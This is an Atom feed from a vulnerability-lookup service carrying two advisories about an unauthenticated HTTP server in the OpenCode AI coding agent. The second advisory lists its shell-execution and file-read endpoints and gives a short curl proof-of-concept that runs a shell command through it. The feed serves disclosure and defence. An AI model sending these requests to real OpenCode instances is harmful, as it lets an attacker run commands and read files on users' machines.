<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://vulnerability.circl.lu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-09-29T17:02:32.406218+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@circl.lu</email>
  </author>
  <link href="https://vulnerability.circl.lu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/cve-2026-22812</id>
    <title>CVE-2026-22812 — OpenCode's Unauthenticated HTTP Server Allows Arbitrary Command Execution</title>
    <updated>2026-09-29T17:02:32.464325+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> anomalyco opencode</p>
<p>OpenCode is an open source AI coding agent. Prior to 1.0.216, OpenCode automatically starts an unauthenticated HTTP server that allows any local process (or any website via permissive CORS) to execute arbitrary shell commands with the user's privileges. This vulnerability is fixed in 1.0.216.</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/cve-2026-22812"/>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/ghsa-vxw4-wv6m-9hhh</id>
    <title>GHSA-vxw4-wv6m-9hhh — OpenCode's Unauthenticated HTTP Server Allows Arbitrary Command Execution</title>
    <updated>2026-09-29T17:02:32.464449+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> npm: opencode-ai</p>
<p>*Previously reported via email to support@sst.dev on 2025-11-17 per the security policy in [opencode-sdk-js/SECURITY.md](https://github.com/sst/opencode-sdk-js/blob/main/SECURITY.md). No response received.*</p>
<p>### Summary</p>
<p>OpenCode automatically starts an unauthenticated HTTP server that allows any local process—or any website via permissive CORS—to execute arbitrary shell commands with the user's privileges.</p>
<p>### Details</p>
<p>When OpenCode starts, it spawns an HTTP server (default port 4096+) with no authentication. Critical endpoints exposed:</p>
<p>- `POST /session/:id/shell` - Execute shell commands (`server.ts:1401`)
- `POST /pty` - Create interactive terminal sessions (`server.ts:267`)
- `GET /file/content?path=` - Read arbitrary files (`server.ts:1868`)</p>
<p>The server is started automatically in `cli/cmd/tui/worker.ts:36` via `Server.listen()`.</p>
<p>No authentication middleware exists in `server/server.ts`. The server uses permissive CORS (`.use(cors())` with default `Access-Control-Allow-Origin: *`), enabling browser-based exploitation.</p>
<p>### PoC</p>
<p>**Local exploitation:**</p>
<p>```bash
API="http://127.0.0.1:4096"  # update with actual port
SESSION_ID=$(curl -s -X POST "$API/session" -H "Content-Type: application/json" -d '{}' | jq -r '.id')
curl -s -X POST "$API/session/$SESSION_ID/shell" -H "Content-Type: application/json" \
  -d '{"agent": "build", "command": "echo PWNED &gt; /tmp/pwned.txt"}'
cat /tmp/pwned.txt  # outputs: PWNED
```</p>
<p>**Browser-based exploitation:**</p>
<p>A malicious website can ex…</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/ghsa-vxw4-wv6m-9hhh"/>
  </entry>
</feed>
